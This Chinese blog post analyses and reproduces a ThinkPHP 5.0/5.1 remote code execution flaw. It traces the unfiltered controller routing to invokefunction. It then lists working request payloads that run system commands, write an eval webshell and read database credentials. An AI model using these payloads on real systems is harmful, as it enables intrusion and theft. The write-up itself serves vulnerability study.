ThinkPHP远程命令执行漏洞原理及复现 精选 原创 Snow狼 2019-01-04 15:42:47 博主文章分类:技术文章 ©著作权 文章标签 ThinkPHP 远程代码执行 漏洞 复现 thinkphp远程命令执行 文章分类 网络安全 ©著作权归作者所有:来自51CTO博客作者Snow狼的原创作品,请联系作者获取转载授权,否则将追究法律责任 2018年12月11日,exploit-db更新了一个thinkphp框架远程代码执行漏洞 exploit地址:https://www.exploit-db.com/exploits/45978 由于框架对控制器名没有进行足够的检测导致在没有开启强制路由的情况下getshell 漏洞影响范围 Thinkphp 5.1.0 - 5.1.31 Thinkphp 5.0.5 - 5.0.23 安装: 下载地址http://www.thinkphp.cn/donate/download/id/1125.html 下载完解压在/var/www/html/目录下即可 漏洞分析 /thinkphp/library/think/App.php 行数:120 我们可以看到通过self::routerCheck函数进行路由检测 我们可以看到又进入$request->path()函数 /thinkphp/library/think/Request.php 行数:416行 进入pathinfo()函数,继续追踪到384行 Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path 我们再回到App.php 行数:606 这里会进行路由检测,检查$check后会进入else分支导入路由配置,接着检测路由url调度结果为$result,如果调度失败且开启了强制路由$must,则报出路由无效,接着进入Route::parseUrl函数,根据$path(自定义url)解析操作 开始跟踪parseUrl函数 /thinkphp/library/think/Route.php 行数:1208 进入parseUrlPath函数 行数:1275 这里我们可以看到对模块/控制器/操作的url地址分割成数组来返回(没截好图有点重了)行数:1217 我们可以看到,返回的结果赋值为$path,提取路由信息又封装到$route,最后返回 thinkphp/library/think/App.php 行数:120 进入self::exec函数 行数:445 我们可以看到模块/控制器/操作 的函数为self::module 开始跟踪module函数 行数:494 我们可以看到,根据$config['app_multi_module']进入多模块部署,$bind为NULL,又进入elseif分支,判断模块是否在禁止的列表里面$config['deny_module_list'],而且mmodule存在,$available = true,就不会抛出异常 module函数最后的返回值,发现$controller没有进行过滤,那么此时应该为think\app,也就是return self::invokeMethod($call, $vars); 进入self::invokeMethod函数 行数:329 此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法 再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload 最后再调用反射$reflect->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,完成代码执行。 至此,ThinkPHP远程代码执行漏洞分析完成 ———————————————————————————————————————— 漏洞利用 http://xxx.xxx.xxx(这里为你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 远程代码执行命令:whoami(链接后面的whoami可以改成你要执行的命令,特殊符号请进行url转码) http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 通过phpinfo函数写出phpinfo的信息 http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php 写入shell http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 也是显示phpinfo http://xxx.xxxx.xxx/thinkphp/public//?s=.|think\config/get&name=database.username 数据库用户名(后面的username改为password为数据库密码) 赞 收藏 评论 分享 举报 上一篇:byob--建立自己的僵尸网络 下一篇:python url采集 提问和评论都可以,用心的回复会被更多人看到 评论 发布评论 全部评论 () 最热 最新 相关文章 【Powershell】Powershell在远程计算机上执行指令 开启并配置WinRM被远程机器执行前提:被远程的机器上开启可WinRM如果连接失败;则需要在被远程的机器上运行:Enable-PSRemoting -SkipNetworkProfileCheck -Force验证方法:WinRM处于Running状态防火墙rule处于Allow状态远程机器执行如果远程的计算机没有加入域(这里注意是执行远程指令的机器而不是被远程的机器);则需要为其设定:#设定S Powershell 远程 执行 指令 夏明亮 使用PyCharm远程调试PY代码 在PyCharm上实现上传代码到远程服务器,并进行远程调试。 远程服务器 Deployment 虚拟环境 PyCharm java代码实现异步返回结果如何判断异步执行完成 Java代码实现异步返回结果如何判断异步执行完成在许多应用程序中,我们经常使用异步操作来提高性能和响应度。在Java中,我们可以使用多线程或者异步任务来执行耗时操作,并且在后台处理过程完成后获取结果。但是,在使用异步操作时,我们通常需要知道异步任务何时完成,以便进行下一步的操作。 本篇文章将介绍几种常见的方法来判断Java代码中异步操作是否完成。1. 使用Future和CallableJava中的 java 异步任务 异步操作 ThinkPHP 5.0.23 远程代码执行漏洞 github 微信公众号 php ThinkPHP 代码执行漏洞 thinphp 代码执行漏洞 php 数组 字符串 thinkphp代码执行getshell 先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell影响的范围: 5.x < 5.1.31, <= 5.0.23漏洞危害: 导致系统被提权(你懂的)这里附上一个自己测试的 thinkphp的 链接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22先来讲下,5 java ThinkPHP <5.0.24 Request.php 远程代码执行漏洞 --已解决 2019年1月11日,阿里云云盾应急响应中心监测到ThinkPHP官方发布安全更新,披露了一个高危安全漏洞,***者构造特定的恶意请求,可以直接获取服务器权限,受影响的版本包括5.0.0~5.0.23版本 Think PHP 5.0.24 Req Mirai变成Miori:IoT僵尸网络通过ThinkPHP远程代码执行漏洞传播 Mirai变成Miori:IoT僵尸网络通过ThinkPHP远程代码执行漏洞传播TRex嘶吼专业版对于许多物联网(IoT)用户来说,智能设备中的漏洞一直是个大问题。最臭名昭著的物联网威胁可能是不断完善的Mirai恶意软件,该恶意软件已经在过去的许多攻击行动中使用,这些攻击行动会入侵使用默认或弱凭据的设备。自2016年源代码泄露以来,Mirai的变种和衍生品层出不穷。我们分析了另一个名为“Miori Python ThinkPHP 5.0远程命令执行漏洞分析与复现 0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉 php 实例化 github 远程代码执行(RCE) 远程代码执行(RCE)谨记:方便是安全的敌人一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口, 其实就是注入一些代码到后台, 从而控制了后台系统危害获取服务器权限获取敏感数据文件写入恶意文件getshell植入木马病毒勒索软件等 php中可能造成一些RCE函数函数作用system()执行外部程序并显示输出exec()/shell_exec()通过sh 字符串 正则表达式 jar 漏洞复现-thinkphp5.0-远程代码执行 0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 标志:/index.php 版本:thinkphp5.0~thinkphp5.0.23 0x02 漏洞复现 注:复现是比较简单的,原理需要自己去深入剖析 (1) ... thinkphp5.0- ThinkPHP5远程代码执行漏洞复现 0x00 漏洞概述 编号为CNVD-2018-24942。 ThinkPHP5存在远程代码执行漏洞。由于框架对控制器名称未能进行充分检测,攻击者可以利用该漏洞对网站进行远程命令执行(RCE)。 影响产品包括: 上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31 上海顶想信息科技有限公 ... ThinkPHP PHP RCE php 版本号 ThinkPHP 小于5.0.24 远程代码执行高危漏洞 修复方案 漏洞描述 由于ThinkPHP5.0框架对Request类的method处理存在缺陷,导致构造特定的请求,可直接GetWebShell。 漏洞评级严重 影响版本ThinkPHP 5.0系列 < 5.0.24 安全版本ThinkPHP 5.0系列 5.0.24ThinkPHP 5.1系列 5.1. php ide 搜索 thinkphp远程执行漏洞的本地复现 thinkphp远程执行漏洞的本地复现thinkphp远程执行漏洞的本地复现0X00漏洞简介由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器)0X01环境搭建下载存在漏洞版本我下载的版本是thinkphp_5.0.22搭建好以后如图 0X02漏洞复现构造几个特殊的url即可复现漏洞。http:/ thinkphp lua执行远程代码 远程代码执行漏洞详解 1.RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP, lua执行远程代码 IP 系统命令 web界面 漏洞复现-thinkphp5.0.23-远程命令执行 0x00 实验环境 攻击机:Win 10 靶场:docker拉的vulhub靶场 0x01 影响版本 其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。 0x02 漏洞复现 (1)访问 ... php html xml 缓存 转义 zabbix远程代码执行 远程代码编辑 1 背景做嵌入式linux开发,经常会用到xshell来远程连接编辑调试代码,修改代码用vim或gedit等文本编辑器,开发效率比较低。有时候会用FTP等工具将代码拷贝到本机,用IDE打开编辑,修改完之后再拷贝回去,无疑增加了工作量。幸运的是有很多开发工具支持远程编辑,我们今天介绍的vscode就是其中一种。本地环境:Windows 远程环境:ubuntu 16.042 本地配置2.1 opens zabbix远程代码执行 ubuntu 重启 搜索 DRuby远程代码执行漏洞 rdp远程代码执行漏洞 2019年5月15日,微软官方发布紧急安全补丁,修复了一个Windows远程桌面服务的远程代码执行漏洞CVE-2019-0708,利用此漏洞可能可以直接获取Windows服务器权限。 发布时间: 2019-05-14 当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时,远程桌面服务(以前称为“终端服务”)中存在远程执行代 DRuby远程代码执行漏洞 Windows 远程桌面 目标系统 远程执行newLISP代码 newLISP提供了一个简单的MapReduce的方式,利用net-eval函数,能够向远程执行这newlisp服务进程的机器发起调用。本文介绍最简单的方法:首先server启动newlisp进程newlisp -l -c -d 4711 &-l 代表记录日志,默认是打印到终端 服务进程 创建表 文件操作 mapreduce mysql Javascript 远程代码执行验证 远程的代码 远程代码执行(Remote Code Execute)(Remote Command Execute)RCE:可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,进而达到控制后台系统。远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供制定的远程命令操作的借口,比如常见见的路由器,防火墙,入侵检测等设备的web管理界面。 一般会给用户提供一个ping操作的web界面, Javascript 远程代码执行验证 字符串 服务器 系统命令